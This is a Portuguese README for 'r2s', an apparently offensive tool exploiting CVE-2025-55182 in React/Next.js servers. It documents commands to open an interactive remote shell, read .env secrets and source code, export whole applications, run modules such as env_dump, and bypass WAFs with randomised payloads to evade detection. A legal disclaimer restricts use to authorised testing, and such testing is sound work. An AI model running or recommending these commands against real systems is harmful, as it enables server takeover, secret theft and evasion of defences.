---

## ⚠️ Aviso Legal

**IMPORTANTE: LEIA ISTO ANTES DE USAR ESTA FERRAMENTA**

1. **Esta ferramenta é APENAS para testes de segurança LEGÍTIMOS**
   - ✅ Teste suas próprias aplicações
   - ✅ Teste aplicações para as quais você tenha permissão por escrito para testar
   - ✅ Fins educacionais e pesquisa em segurança
   - ❌ **NUNCA use em sistemas que você não possui ou para os quais não tem permissão para testar**
   - ❌ **NUNCA use para fins maliciosos**

2. **Ao usar esta ferramenta, você concorda que:**
   - Você só a utilizará em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar
   - Você entende que o acesso não autorizado a sistemas de computadores é ilegal
   - Você aceita total responsabilidade por suas ações
   - Os autores não são responsáveis por qualquer uso indevido desta ferramenta

3. **Consequências Legais:**
   - O acesso não autorizado a sistemas de computadores é crime na maioria dos países
   - Você pode enfrentar acusações criminais, multas e prisão
   - Sempre obtenha permissão por escrito antes de testar

4. **Esta ferramenta é fornecida "COMO ESTÁ", sem garantia de qualquer tipo**

**Se você tiver menos de 18 anos, certifique-se de ter supervisão de um adulto e permissão antes de usar esta ferramenta.**

---

## ✨ Recursos

### Capacidades Principais
- 🔍 **Detecção de Vulnerabilidades** - Teste rapidamente se um servidor está vulnerável ao CVE-2025-55182
- 💻 **Shell Interativo** - Sessão de shell interativa completa via HTTPS com histórico de comandos
- 📁 **Operações de Arquivo** - Liste diretórios, leia arquivos e exporte arquivos/arquivos compactados
- 🔐 **Extração de Segredos** - Tenta ler segredos da aplicação (arquivos .env, arquivos de configuração)
- 📄 **Extração de Código** - Tenta ler o código-fonte da aplicação
- 🖥️ **Informações do Sistema** - Coleta informações do SO, hostname, usuário e variáveis de ambiente

### Recursos Avançados
- 🚀 **Pré-aquecimento Automático de Payloads** - Otimiza automaticamente os payloads para obter os melhores resultados
- ⚡ **Execução Paralela** - Execute vários comandos simultaneamente
- 🎲 **Randomização de Payloads** - Evite a detecção com payloads dinâmicos
- 🛠️ **Módulos de Exploit** - Sistema de módulos no estilo Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Tratamento de Redirecionamentos** - Segue automaticamente redirecionamentos HTTP (301, 302, 303, 307, 308)
- 🎨 **Interface Bonita** - Saída codificada por cores para facilitar a leitura
- 📊 **Relatórios Abrangentes** - Salva automaticamente relatórios nos formatos JSON, HTML, TXT com formatadores específicos por operação
- ⚙️ **Sistema de Configuração** - Configuração baseada em JSON com painel interativo de configurações
- 📦 **Funcionalidade de Exportação** - Exporte arquivos individuais ou diretórios inteiros de aplicativos como arquivos zip
- 🔒 **Bypass de WAF** - Várias técnicas de bypass (⚠️ Não garantido - consulte as limitações abaixo)

### Relatórios e Registros
- 📝 **Salvamento Automático de Relatórios** - Salve automaticamente relatórios em `~/.r2s/reports/` com carimbos de data/hora legíveis
- 📋 **Formatos Específicos por Operação** - Diferentes formatos de relatório para diferentes operações (shell, teste, segredos, etc.)
- 📜 **Histórico de Comandos** - Histórico de comandos persistente salvo em `~/.r2s/history`
- 🔍 **Trilhas de Auditoria** - Registro detalhado de todas as operações em `~/.r2s/logs/audit.log`
- 🎨 **Relatórios HTML** - Belos relatórios HTML com modo escuro/claro, botões de copiar e blocos de código

---

## 📦 Instalação

### Opção 1: Compilar a partir do código-fonte (Recomendado)

1. **Clone o repositório:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 Início Rápido

### Teste Básico de Vulnerabilidade```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### Teste Local

Veja [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para instruções sobre como executar o aplicativo vulnerável localmente.

---

## 📚 Exemplos de Uso

### Referência Rápida de Comandos

**Comandos Mais Comuns:**
- `r2s -u URL -t` - Testar vulnerabilidade (mais comum)
- `r2s -u URL --shell` - Iniciar shell interativo
- `r2s --targets FILE -t` - Escanear vários alvos em lote
- `r2s -u URL --system-info` - Obter informações do sistema
- `r2s -u URL --secrets` - Tentar ler segredos
- `r2s -u URL --export-archive` - Exportar o aplicativo inteiro como zip

**⚠️ Lembre-se**: Não use `--windows` a menos que o alvo seja Windows!

---

### Operações Básicas```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### Módulos de Exploit```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### Segredos e Extração de Código```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### Opções Avançadas```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### Registro e Auditoria```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### Relatórios```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. Auditoria de Segurança```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

Veja [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para instruções detalhadas.

---

## 🏗️ Arquitetura

A R2S usa uma arquitetura modular para facilidade de manutenção e extensibilidade:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "Erro de Conexão"
- Verifique se o servidor está em execução
- Verifique se a URL está correta
- Verifique as configurações do firewall
- Tente aumentar o tempo limite: `--timeout 30`

### "Solicitação Bloqueada"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### Limitações de Bypass de WAF

**⚠️ Importante:** As técnicas de bypass de WAF nesta ferramenta **NÃO têm garantia** de funcionamento e têm várias limitações:

- **Não Universal**: WAFs diferentes usam métodos de detecção diferentes. O que funciona para um pode não funcionar para outro.
- **Detecção Estática**: Alguns WAFs usam correspondência de padrões estáticos que pode ser contornada, mas WAFs modernos usam análise comportamental.
- **Limitação de Taxa**: Muitos WAFs implementam limitação de taxa que pode bloquear tentativas repetidas.
- **Machine Learning**: WAFs avançados usam modelos de ML que se adaptam e aprendem com padrões de ataque.
- **Cloudflare/AWS WAF**: WAFs de nível empresarial (Cloudflare, AWS WAF, etc.) são extremamente difíceis de contornar.
- **Sem Garantias**: As técnicas de bypass são experimentais e podem falhar contra WAFs bem configurados.

**Melhores Práticas:**
- Use o bypass de WAF como último recurso
- Experimente diferentes estratégias de cabeçalho (`--header-strategy`)
- Combine com `--randomize` para obter melhores resultados
- Entenda que alguns alvos podem ser impossíveis de contornar
- Sempre teste em sistemas que você possui ou tem permissão para testar

### Problemas de Build```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

Isso removerá:
- diretório `build/` (arquivos de build do PyInstaller)
- diretório `dist/` (binários compilados)
- diretórios `__pycache__/` (cache do Python, recursivamente)
- arquivos `*.pyc` (bytecode Python compilado)
- arquivos `*.pyo` (bytecode Python otimizado)
- arquivos `*.spec` (arquivos de especificação do PyInstaller)

**Nota:** Isso apenas remove artefatos de build, não o seu código-fonte. A limpeza é segura e pedirá confirmação antes de prosseguir.

---

## 📁 Estrutura de Arquivos```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation